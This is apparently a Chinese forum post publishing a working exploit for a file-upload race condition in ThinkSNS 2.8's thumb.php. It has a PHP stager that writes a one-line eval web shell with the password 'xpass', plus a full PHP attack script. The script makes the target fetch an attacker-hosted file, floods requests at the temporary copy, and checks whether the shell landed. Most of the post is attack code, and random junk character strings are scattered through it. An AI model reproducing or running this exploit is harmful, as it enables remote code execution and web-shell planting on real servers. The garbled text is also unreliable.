Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
: ]) q0 G* l! B存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
7 u4 U2 S3 q: n存在漏洞的文件为：thumb.php
- y7 @$ P/ u  k9 Q作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
6 h) ^3 c# ?& f1 e<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
! |$ x7 E; J" m( b7 n% i2、        计算出临时的文件名：
- S7 j5 L& k7 U$ a) a- g这里我们可以看文件的99行（刚刚是不是没注意呀！）。
* t1 r; I, r9 O- ?+ @# x
3、        上传临时文件。
9 Q% |' _& Z% f; n% E3 l, W$ B4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
) l' o9 u# K' h5 X' N& eExploit文件内容如下：（这个我就不详细解释了）
<?php
error_reporting(0);
# W) F2 M$ h( i( X7 e, t! r1 ^set_time_limit(0);
ini_set(“default_socket_timeout”, 5);
6 B% \0 `9 o) E) S& Tfunction http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
/ m' \1 q, p, V# N; ]fputs($fp, $headers);
return $fp;
0 a) }: m* K1 y4 X* y" y! X( e}
function http_recv($fp) {
/ y; W  o+ j9 V4 B; f: ^: H' r$ret=”";
6 ^7 D- W% k: B$ cwhile (!feof($fp))
. E5 r! @" }  e) A6 C8 s$ret.= fgets($fp, 1024);
- K2 X3 D6 t- s6 k6 K1 Gfclose($fp);
( f/ C! r; B% F$ Creturn $ret;
}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
9 X9 H$ a  Z: l! a( G  cprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
/ W% H$ n5 y  q# c8 Bdie();
* q/ q# U  F% i}
$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
$i=0;
//上传数据包
7 t' v; Z7 M6 P. j! o! e; @$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
( U! t" h/ S8 w- }% ^, Y+ A$headers_up .= “Connection: close\r\n\r\n”;
$ E# [( z2 _1 A! xecho $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
/ x9 q" f: n7 J$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
echo $headers;
6 f6 `7 C- p: w6 {8 owhile(++$i<10) {
fclose(http_send($host, 80, $headers));
}
fclose(http_send($host, 80, $headers_up));
( @) e9 s7 u3 u$ C& }7 s* Z7 k8 \while(++$i<50) {
fclose(http_send($host, 80, $headers));
}
- [! H) c6 x- t$ v3 \$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
7 ]' l( ~3 N% X0 p- q- }% }$headers .= “Connection: close\r\n\r\n”;
' w$ h6 J4 S% R: r2 z) h9 T$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
5 z4 _6 b8 v( Y/ D! fprint “Success!\n\n”;
  j2 J" V& E! l0 k4 q: j! q* ?$ X} else {
print “Fail!\n\n”;
}
?>
​